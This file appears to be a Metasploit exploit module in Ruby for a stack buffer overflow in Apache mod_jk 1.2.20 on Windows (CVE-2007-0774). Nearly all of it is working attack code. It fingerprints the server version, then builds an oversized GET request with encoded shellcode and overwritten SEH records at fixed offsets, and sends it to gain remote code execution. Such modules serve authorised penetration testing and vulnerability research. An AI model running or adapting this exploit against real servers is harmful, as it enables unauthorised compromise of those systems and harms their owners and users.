apache_modjk_overflow.rb.txt

`require 'msf/core'  
  
module Msf  
  
class Exploits::Windows::Http::Apache_Mod_JK < Msf::Exploit::Remote  
  
include Exploit::Remote::Tcp  
include Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Apache mod_jk 1.2.20 Buffer Overflow',  
'Description' => %q{  
This is a stack overflow exploit for mod_jk 1.2.20.  
Should work on any Win32 OS.  
},  
'Author' => 'Nicob <nicob[at]nicob.net>',  
'Version' => '$Revision: 4961 $',  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'BID', '22791'],  
[ 'CVE', 'CVE-2007-0774' ],  
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-07-008.html'],  
  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Privileged' => true,  
'Payload' =>  
{  
'Space' => 4000,  
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",  
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,  
'MaxNops' => 0,  
},  
'Platform' => 'win',  
'Targets' =>   
[  
# POP/POP/RET in mod_jk 1.2.20 (Apache 1.3.37, 2.0.58 and 2.2.3)  
['mod_jk 1.2.20 (Apache 1.3.x/2.0.x/2.2.x) (any win32 OS/language)', { 'Ret' => 0x6a6b8ef1 }],  
],  
'DefaultTarget' => 0))  
  
register_options( [ Opt::RPORT(80) ], self.class )  
end  
  
def check  
connect  
  
sock.put("GET / HTTP/1.0\r\n\r\n")  
resp = sock.get_once  
disconnect  
  
if (resp and (m = resp.match(/Server: Apache\/(.*) \(Win32\)(.*) mod_jk\/1.2.20/))) then  
print_status("Apache version detected : #{m[1]}")  
return Exploit::CheckCode::Appears  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
connect  
  
uri_start = "GET /"  
uri_end = ".html HTTP/1.0\r\n\r\n"  
sc_base = 16  
  
shellcode = payload.encoded  
sploit = Rex::Text.rand_text_alphanumeric(5001, payload_badchars)  
sploit[sc_base, shellcode.length] = shellcode  
  
# 16 : Apache/1.3.37 (Win32) mod_jk/1.2.20  
# 20 : Apache/2.0.59 (Win32) mod_jk/1.2.20  
# 21 : Apache/2.2.3 (Win32) mod_jk/1.2.20  
  
seh_base = 4087  
[ 16, 20, 21 ].each { |x|  
seh_offset = seh_base + (16 * x)  
sploit[seh_offset - 9, 5] = "\xe9" + [sc_base - seh_offset + 4].pack('V')  
sploit[seh_offset - 4, 2] = "\xeb\xf9"  
sploit[seh_offset , 4] = [ target.ret ].pack('V')  
print_status("Inserting custom SEH at offset #{seh_offset} ...")  
}  
  
print_status("Trying target #{target.name}...")  
sock.put(uri_start + sploit + uri_end)  
  
resp = sock.get_once  
if (resp and (m = resp.match(/<title>(.*)<\/title>/i)))  
print_status("The exploit failed : HTTP Status Code '#{m[1]}' received :-(")  
end   
  
handler  
disconnect  
end  
  
end  
end   
  
`